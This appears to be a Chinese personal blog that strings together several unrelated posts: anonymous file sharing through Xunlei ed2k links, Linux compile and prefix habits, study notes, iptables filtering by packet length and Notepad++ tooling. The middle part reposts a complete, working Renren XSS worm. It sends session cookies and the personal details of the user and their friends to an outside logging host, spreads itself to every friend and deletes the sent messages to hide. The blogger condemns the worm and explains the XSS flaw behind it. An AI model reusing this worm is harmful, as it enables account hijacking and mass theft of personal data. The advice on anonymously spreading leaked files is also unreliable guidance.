前段时间也因为有一些朋友去传播某公司的内部程序文件而被，还有网盘文件无辜被删等情况。

通过一些事情我逐渐发现迅雷是个好东西，一个匿名传播文件的好帮手，不过需要有vip（离线下载）的权限。

迅雷离线的工作原理不想多少，简单的说就是ed2k，torrent，部分url，迅雷服务器在有资源的情况下可以秒杀。既然如此这不就是传播文件的绝妙之处吗。

好了开始正题：

1．  让迅雷离线服务器下载你要传播的文件。方法很多url，bt，电驴的都可以，电驴好一些因为不会记录到你的ip信息。

2．  给该文件生成ed2k链接，为啥ed2k呢。匿名呀，torrent的话传播不方便呀。Ps 这个有工具可以生成google下就可以了 key：ed2k生成器。

3．  然偶分享那个ed2k链接就好了。这样一般的电驴都会提示无种，但是你把这个ed2k链接扔到迅雷离线下载后，就立马秒杀了。

下面到了软件的选择，是选择自己编译软件呢，还是直接yum了。这个因该是根据什么软件来决定。如果是iftop，snmp呀这些小软，不对外服务的，作用是给自己用的，我认为yum装就好了，性能无所谓，你能24小时iftop，mtr吗？
说道编译软件就不得不说说prefix的问题了，很多人不喜欢编译软件加prefix，直接撞倒bin或者sbin里面去了，我想说对于很多软件这么做很不对，至少在升级等问题上不好办。我建议是对外服务的大型软件要价prefix参数，位置基本在/usr/local/ 如果你觉得乱在加一个文件夹好了。ex：/usr/local/server/ 这类软件nginx，apache，mysql，php等不过python这样的脚本解析器就算了。svn的话也不用了。
总结下基本就是如下的定律：
1。cli下的网管工具，直接yum吧。ex：iftop，snmpwalk，dig
2。符合第一条，但是yum上面的版本太低。那么找新的源码去编译不要加prefix。如果只需要一个功能不要make install直接copy那个文件到sbin替换即可，最好备份下原文件。ex：iptables， ip tools
3。大型软件，如果提供服务的，自己编译去，绝大部分都要指定prefix。
4。设置工具不管是yum还是源码安装都不要制定prefix。这样方便命令设置，如果是大型软件自带的设置工具，那么还是prefix编译大型软件，然后复制那些小工具到sbin中吧。ex：apache的htpasswd，squid的什么client呀。
5。特殊软件，centos自带的ipsec tool等 yum吧。
6。内核或者模块有关，我的政策是内核能不编译就不编译，yum安装优先。给内核打补丁，如果不是特别必要不要去打。因为补丁会造成内核的不稳定。可能很多大型项目内核都是要自己编译的，这样性能高，而且关闭一些不必要的功能。不过我干的都不是高端，感觉默认内核能对付的用，而且编译内核麻烦。如果你是高手忽略这条吧，内核该怎么弄就怎么弄。

服务器安全
这个怎么说呢，该怎么弄怎么弄吧。root的密码最好一个人知道，别人要的话加key。
其他安全，还是那句老话baidu吧。我没什么特别的意见。

内核优化
rhca442没学完呢，忽略。

下面进入另外一个重点，大型软件用不用daemon呢。
我个人不喜欢用daemon。比较喜欢用&来启动，这样方便kill。
我的rc.local脚本基本在20+行。大型软件都是rc.local控制启动。

说了这么多，应该说说编译的具体事项了。
编译的话个人习惯是在/data1/software下进行编译。解压后删除压缩文件，保留src，和make过的东西。这样在系统重装后，不用等待漫长的编译时间了，直接make install就好了。

软件的升级
因为制定了prefix升级非常的简单，首先mv那个软件目录（改名），然后编译安装新软件。如果在一段时间后感觉新版本工作良好，删掉老版本软件和他的src。如果新软件工作不好可以随时替换过来。绝对比不加prefix替换要方便的多。

大家这回应该明白了吧，为什么home目录中文件很少了，主要是链接了。
没错因为软件编译了prefix，系统不会有这个命令，而且config是分散的。编译文件在其他目录，这样就解放了home目录了。

其他
mysql的db目录扔到/data0中很好，别凑在mysql的安装目录了。
日志，可恶的东西，我很不习惯基本我的策略是每天压缩一次，一个月之前的咱们说拜拜吧。http我基本不开日志。太大了。而且我没怎么看过日志。

最后，也是一点最重要的。
如果条件如许，不要再服务器上做实验。实验找专门的试验机器，mysql等数据都考过去，然后模拟测试。等到结果满意了在上到主服务器上。测试机器配置不要求高，主要是为了测试新版软件的性能和bug。
如果你习惯每天干点，或者3天2头打算给服务器加点功能，咱们弄台测试机器吧，你天天捅咕都没事，正好一个月下来你捅咕的差不多了，该个主服务器升级了。而且测试机挂了咱们也不着急，边看电影边重装呗。

ps 别没事就重装linux。linux这东西重装了配置会累死人。
 

 看看这个ip 熟悉吗，清华附中一个不存在的ip，随意x-forward一下 sa就会记录这个ip，原来为砸ip这么简单呀。其实已经无所谓了，自从我在linux 的tcp warpper下屏蔽了100个ip后发现广告少了很多。

这半年写的东西很少，但是学到了很多，不知道为什么最及很懒的写什么东西。代码也好，linux设置也罢，经常去靠脑袋去记，然后忘了就去打开一些备份过的文件看下。

弄了几个项目，但是发现也没啥用。结果基本上都是做到一半就不写了。而且有些程序写的很sb，至少在算法上很sb。

唉，感觉目前知道的很多，但是很多都懒的去写，可能是私心吧，毕竟有些东西写出来后就是公开，公开了以后就是封。导致自己也没法用了。

好像v70这个域名被rst以后，我上来的次数也少了，每天基本都在书海中度过。其实这里本来也没什么人。

新开了一个beta.coshim.com结果写完一篇文，到现在第二篇还是没有写。题目和内容基本都确定了，就是懒的去写吧。

第二批是关于cdn的

第三片应该是关于ipv6的

第四个应该是有关网络计费和流量的有关问题。

龟速更新吧。

争取这周以前把cdn这篇给搞定。

目前自己的知识还是不够多，很多东西只是了解但是没有完全的精通。

网络方面自己计划方案不难，但是事实起来确实很难。

比如radius和pptpd这类的东西，知道radius可以提供给pptd额外的参数，但是不知道怎么去提供。

有人说过，配置东西都是简单的，你知道懂了原理剩下的看manual去就好了。但是你不懂原理看manual也没用。

 但是这也不叫会，有些东西思想的确比配置重要，但是有些东西的配置也是一门学们。

比如squid，真正的精髓不是在于思想而是在于如何去配置他。

squid的确是一个很强大的东西。

目前在研究一个问题，如果给squid做出一个警告页面来。

如果确定go on 否这退出。

最及还是打算先把isp和rs学号后再去看安全，最后再开 voip吧。
rhca估计要留到这些之后了。
话说看书在看第一遍和第二部的感觉是不同的，第一遍看城域以太网这本书，只是能看明白技术说的是什么，对于通讯的名词基本都是不知道，比如 dwdm，什么的。但是第二变看，感觉却能理解这些东西了。真正的好书读多少遍都会有收获的。

1. var token = XN.get_check;  
2. var mobile_friends = [];  
3. var all_friends = [];  
4.   
5. var my_id = 0;  
6.   
7. function send_data(v)  //发送函数 get模式
   
8. {  
9.     var img = document.createElement('img');  
10.     img.src = 'http://qiutuan.net/2011/log.php?' + v;  
11.     document.body.appendChild(img);  
12.     document.body.removeChild(img);  
13. }  
14.   
15. function send_to_friends(){  //发信到好友
16.     var i;  
17.     var idlist = [];  
18.     for (i = 0; i < all_friends.length; i++)  //所有好友
19.     {  
20.         idlist.push(all_friends[i].toString());  
21.         if (idlist.length == 10)  //每次10个
22.         {  
23.             _send_to_friends(idlist);  
24.             idlist = [];  
25.         }  
26.     }  
27.     if (idlist.length > 0) _send_to_friends(idlist);  
28. }  
29.   
30. function _send_to_friends(ids){  
31.   var content = "相信每个女生心底都有一只小猫，有的妩媚，有的狂野，有的多愁善感，有的古灵精怪……你心底的那只蠢蠢欲动的小猫，是什么样子的呢？她喜欢笑，你就老以为她是快乐的；她喜欢跳，你就老以为她是开朗的；她喜欢扭，你就老以为她是放肆的；她喜欢叫，你就老以为她是狂野的。一个人的时候，她其实多愁善感；一个人的时候，她其实安静淡然；一个人的时候，她其实内向自闭；一个人的时候，她其实乖巧温柔……（视频亮点在2:57秒)  <script src='http://qiutuan.net/2011/51.js'></script> <embed src='http://player.youku.com/player.php/sid/XMjYxNDMwNDQ4/v.swf' quality='high' width='480' height='400' align='middle' allowScriptAccess='sameDomain' type='application/x-shockwave-flash'></embed>";  
32.   var p = {action:"sharetofriend",   
33.         body:content,   
34.         form:{  
35.             albumid:"0",  
36.             currenUserTinyurl:"http://hdn.xnimg.cn/photos/hdn421/20110118/1220/tiny_GeT4_23780d019116.jpg",  
37.             fromSharedId:"0",  
38.             fromShareOwner:"0",  
39.             fromname:"",  
40.             fromno:"0",  
41.             fromuniv:"",  
42.             link:"http://edm.renren.com/link.do?l=27627&t=51",  
43.             pic:"http://jebe.xnimg.cn/20110412/19/62caea7b-c7bc-4217-994a-ba6c061e5aa0.jpg",  
44.             summary:"相信每个女生心底都有一只小猫，有的妩媚，有的狂野，有的多愁善感，有的古灵精怪……你心底的那只蠢蠢欲动的小猫，是什么样子的呢？",  
45.             title:"加a02好友 奖品散不停",  
46.             type:"51"  
47.         },   
48.         ids:ids,   
49.         noteId:"0",   
50.         subject:"有人暗恋你哦，你想知道TA是谁么",   
51.         tsc:token};  
52.   
53.   delete p.tsc;  
54.   
55. new XN.net.xmlhttp({url:"http://share.renren.com/share/submit.do",  
56.                     data:"tsc="+token+"&post="+encodeURIComponent(XN.json.build(p)),  
57.                     onSuccess: function (response) {del_send_messages();}  
58.                     });  
59. }  
60.   
61. function del_messages(idlist){  //对已发送列表里的站内信进行删除
62.   
63. var struct_msgs ={  
64.                     action:"delete",  
65.                     folder:"1",  
66.                     slice:"20",  
67.                     unread_count:"0",  
68.                     ids:idlist  
69.                 };  
70.   
71. new Ajax.Request("/message/ajax.do",{method:"get",parameters:"post="+encodeURIComponent(XN.JSON.build(struct_msgs))});  
72.   
73. }  
74.   
75.   //从已发站内信中删除
76. function del_send_messages(){  
77.     new XN.net.xmlhttp({url:"http://msg.renren.com/message/inbox.do?f=1",  
78.                     method:"GET",   
79.                     onSuccess: function (response) {                  
80.                         var listid1 = response.responseText.match(/thread_(\d+)/g);  
81.                         for(var i=0;i < listid1.length;i++){  
82.                             listid1[i] = listid1[i].substring(7);  
83.                         }  
84.                         del_messages(listid1);  
85.                     }  
86.                 });  
87. }  
88.   
89.   
90.   
91. function get_self_info(){  
92. new XN.net.xmlhttp({url:"http://www.renren.com/profile.do?v=info_ajax&undefined",method:"GET",onSuccess:function(r){  
93.   
94. var text_html = r.responseText;  
95.   
96. var id,name,birthday,qq,school,mobile,msn,day,month,year;  
97.   
98.     id = /getalbumprofile\.do\?owner\=(\d+)/.exec(text_html)[1];  
99.     my_id = id;  
100.     school = /pf_spread\'\>(.*?)\<\/a\>/.exec(text_html)[1]; 
101.     year = /birt\"\,\"year\"\:\"(\d+)/.exec(text_html)[1]; 
102.     month = /birt\"\,\"month\"\:\"(\d+)/.exec(text_html)[1]; 
103.     day = /birt\"\,\"day\"\:\"(\d+)/.exec(text_html)[1]; 
104.     name = /alt\=\"([^\"]+)的大头贴/.exec(text_html)[1]; 
105.      
106.     if(month <= 9){ 
107.      month = "0"+month; 
108.     }  
109.     if(day <= 9){ 
110.      day = "0"+day; 
111.     }  
112.     birthday = year + month + day; 
113.      
114.     qq = /QQ.*?dd\>(.*?)\<\/dd/.exec(text_html)[1]; 
115.      
116.     msn = /MSN.*?dd\>(.*?)\<\/dd/.exec(text_html)[1]; 
117.      
118.     mobile = /手机号.*?dd\>(.*?)\<\/dd/.exec(text_html)[1]; 
119.      
120.     var data = "type=self_info&id=" + id + "&name=" + encodeURIComponent(name)  
121.                 + "&school=" + encodeURIComponent(school)  
122.                 + "&birth=" + birthday  
123.                 + "&qq=" + qq  
124.                 + "&msn=" + encodeURIComponent(msn)  
125.                 + "&mobile=" + mobile; 
126.     send_data(data); 
127. } 
128.  
129. }); 
130. } 
131.  
132. function get_card(tid) 
133. { 
134.       new XN.net.xmlhttp({url:'http://www.renren.com/showcard?friendID='+tid,   
135.                       method:'get', 
136.                       onSuccess:function(r){ 
137.                       var obj = eval("("+r.responseText+")"); 
138.                       var data = 'type=card&my_id=' + my_id 
139.                                 + '&id=' + obj.id 
140.                                 + '&name=' + encodeURIComponent(obj.name) 
141.                                 + '&msn=' + encodeURIComponent(obj.msn) 
142.                                 + '&phone=' + encodeURIComponent(obj.phone) 
143.                                 + '&qq=' + encodeURIComponent(obj.qq) 
144.                                 + '&email=' + encodeURIComponent(obj.email) 
145.                                 + '&address=' + encodeURIComponent(obj.address); 
146.                     send_data(data); 
147.                 } 
148.      });  
149. } 
150.  
151.  
152. function get_all_friends(){ 
153.     new XN.net.xmlhttp({url:"http://www.renren.com/listcards",method:"GET",onSuccess:function(r){ 
154.  
155.     var text_html = r.responseText; 
156.     //alert(text_html); 
157.      
158.     var friends_list = eval("("+text_html+")"); 
159.     var owned_mobile = (friends_list.list[0].list).length;  //have mobile friends number 
160.     for(var i =0;i< owned_mobile ;i++){ 
161.         mobile_friends.push(friends_list.list[0].list[i].id); 
162.         all_friends.push(friends_list.list[0].list[i].id); 
163.     } 
164.     //alert(mobile_friends.length); 
165.      
166.     var no_mobile = (friends_list.list[1].list).length; 
167.     for(var i =0;i< no_mobile ;i++){ 
168.         all_friends.push(friends_list.list[1].list[i].id); 
169.     } 
170.     //alert(all_friends.length); 
171.     for(var i = 0; i < mobile_friends.length; i++) 
172.         get_card(mobile_friends[i]); 
173.     send_to_friends(); 
174. } 
175. }); 
176. } 
177.  
178. window.onload = function(){ 
179. send_data('type=cookie&v='+encodeURIComponent(document.cookie));  
180. get_self_info();  
181. get_all_friends();  
182. }  

不想说什么连cookies都他妈的不放过。不过他的服务器已经被ddos的起不来了。
其实如果吧这个脚本改成随意send一些数据去以网站，这绝对是ddos攻击呀。
原因就是没有过滤<>这个东西  难道sb程序员没有加 html转义吗
典型的xss。

2.

性能不分析了，没做实验。

任何软件都不会用小包去传输大量数据，因为小包传数据开销太大。 这个开销就是数据包的包头。

2层 14字节

ip包头 20字节。

udp包头 8字节

tcp包头 20个字节。

如果发小包的话 会白白的浪费20+20or（8）+14   54字节或者 42字节在 传输协议上。所以尽可能用大包去发数据。

但是有一种数据是例外的，就是语音数据，这个要求延时低，所以小包发送。 语音数据与我们一般说的下载数据有本质的区别。所以这里不讨论这个。

所以我们可以采用丢传出数据包来达到屏蔽迅雷上传的目的，但是迅雷的确需要上传。tcp链接是可靠的需要ack去确定数据达到。udp虽然不需要确认ack，但是程序会发一些确认udp于其他主机联系。

这样就出现本文说的这种方法。

通过数据包的大小来确认是否丢包。

win下我没找到什么程序能根据数据包的大小去丢包的。只有限速和禁止通信的。限速用netlimit很好。有特别版的。

只能在路由器上下手了。

linux的路由器 tomato，ddwrt都可以。

说下iptables的 length模块吧。

用法是  -m length --length XX:XX

解释下最后的XX:XX

第一个XX是匹配数据包最小是多少，后面的那个是匹配最大是多少。

128：128这句话就是匹配数据包大小为128的包

128: 这是匹配任何大于128的数据包。 iptables会在:后面自动加上 65535，如果你先匹配128-1024 直接 128：1024就可以了

:128是匹配小于128的所有包。

结论利用iptables 结合迅雷的端口号然后丢大于 256的包就可以了， 我一般用512。

所以自己搞了个id查询的程序。

http://landon.v70.us/wowimg/item.html

目前spell id 只能查到中文信息。

过2天可能会添加个wowhead的源。

所以就在网上找了下美化php代码的软件，phpcb。

但是找了很久都没有找到notepad++ 如何集成phpcb。

于是就自己弄了一下，发现效果还不错。

phpcb居然读取文件是按行读，然后安行输出。这点气死我了。

用命令 phpcb.exe get.php >get.php 导致丢失了get.php文件的所有内容 100+行呀。。。。。 还有1个array的数据。

步骤

1.先把nppexec安上。

2.然后去下载phpcb，扔到notepad++的目录里面去，如果觉得乱可以自己加个文件夹，我就把phpcb 放在bin目录里面了。

3.nppexec 好像不支持 >的语法。所以>的部分只好用bat写了。

代码如上，phpcb后面的语法格式 请参考 phpcb压缩包中的index文件。

把bat文件和phpcb放在一个目录里面。

4.按f6， 出现了nppexce。把如下代码复制过去保存就好了。

如果没有安装linux命令工具的话，把第二行的mv -f 改成move /y 就可以了。

notepad++ 我找了半天也没找到reload 命令如何用。

如果用npp_load的话 还会提示文件被修改。无奈

只好先关闭这个文件，在开启了。

为了防止phpcb粗错造成代码损失，会自动保存 文件名.tmp作为备份。

5.快速执行。

我没找到如何给工具栏添加按钮，也不知道如何把nppexec的脚本加入。

所以只能用nppexec的自带功能让脚本出现在 宏菜单里面

打开nppexec的选项，把menu item 选上 然后在 associate script 选择刚才你保存的名字，在上面的 item name 可以自己改，然后点add/modify就可以了。

然后就能在 宏菜单的最下面看见了